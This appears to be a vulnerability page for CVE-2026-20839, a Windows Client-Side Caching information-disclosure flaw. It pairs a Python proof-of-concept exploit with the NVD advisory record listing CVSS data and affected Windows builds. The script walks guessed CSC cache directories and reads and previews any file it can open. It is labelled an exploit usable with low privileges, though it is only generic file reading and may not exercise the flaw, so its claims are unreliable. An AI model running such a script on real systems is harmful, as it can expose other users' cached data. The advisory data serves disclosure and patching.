CVE-2026-20839

# CVE-2026-20839 PoC - Windows CSC Service Information Disclosure # This PoC demonstrates accessing CSC cache files with improper access control # Note: This is for educational and security research purposes only import os import sys import subprocess import ctypes from pathlib import Path def check_privileges(): """Check if running with appropriate privileges""" try: is_admin = ctypes.windll.shell32.IsUserAnAdmin() return is_admin != 0 except: return False def locate_csc_directory(): """Locate the CSC cache directory on Windows system""" system_root = os.environ.get('SYSTEMROOT', 'C:\\Windows') csc_path = Path(system_root) / 'CSC' # Alternative locations to check alt_paths = [ Path(system_root) / 'System32' / 'csc', Path(system_root) / 'ServiceProfiles' / 'AppData' / 'Local' / 'Microsoft' / 'Windows' / 'Caches', ] if csc_path.exists(): return csc_path for path in alt_paths: if path.exists(): return path return None def enumerate_cache_files(csc_path): """Enumerate accessible cache files exploiting improper ACL""" exposed_files = [] try: # Attempt to list and read files in CSC directory for root, dirs, files in os.walk(csc_path): for file in files: file_path = Path(root) / file try: # Try to read file metadata stat_info = file_path.stat() # Attempt to read file content with open(file_path, 'rb') as f: content = f.read() exposed_files.append({ 'path': str(file_path), 'size': stat_info.st_size, 'content_preview': content[:100] if len(content) > 100 else content }) except (PermissionError, IOError, OSError) as e: # Files with proper ACL will raise exceptions continue except Exception as e: print(f"Error enumerating cache: {e}") return exposed_files def exploit_cve_2026_20839(): """Main exploit function for CVE-2026-20839""" print("=" * 60) print("CVE-2026-20839 - Windows CSC Service Information Disclosure") print("=" * 60) # Check for low-privilege access (as expected for this vulnerability) print(f"\nRunning as administrator: {check_privileges()}") print("Note: This vulnerability can be exploited with low privileges") # Locate CSC cache directory csc_path = locate_csc_directory() if not csc_path: print("CSC directory not found on this system") return None print(f"\nCSC directory located: {csc_path}") # Enumerate exposed cache files print("\nEnumerating cache files with improper access control...") exposed_files = enumerate_cache_files(csc_path) print(f"\nFound {len(exposed_files)} accessible cache files:") for idx, file_info in enumerate(exposed_files[:10], 1): print(f"\n[{idx}] {file_info['path']}") print(f" Size: {file_info['size']} bytes") if file_info['content_preview']: print(f" Preview: {file_info['content_preview'][:50]}...") return exposed_files if __name__ == "__main__": exploit_cve_2026_20839()

{"cve": {"id": "CVE-2026-20839", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:12.320", "lastModified": "2026-01-15T14:30:43.793", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Windows Client-Side Caching (CSC) Service allows an authorized attacker to disclose information locally."}, {"lang": "es", "value": "Control de acceso inadecuado en el Servicio de Caché del Lado del Cliente (CSC) de Windows permite a un atacante autorizado divulgar información localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20839", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}